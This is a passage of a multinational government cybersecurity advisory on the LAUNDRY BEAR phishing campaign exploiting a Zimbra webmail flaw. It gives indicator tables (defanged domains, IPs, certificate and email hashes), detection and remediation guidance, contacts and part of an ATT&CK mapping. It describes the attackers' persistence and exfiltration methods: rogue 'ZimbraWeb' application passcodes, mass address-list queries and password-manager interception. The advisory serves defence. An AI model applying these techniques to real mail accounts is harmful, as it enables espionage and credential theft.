</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
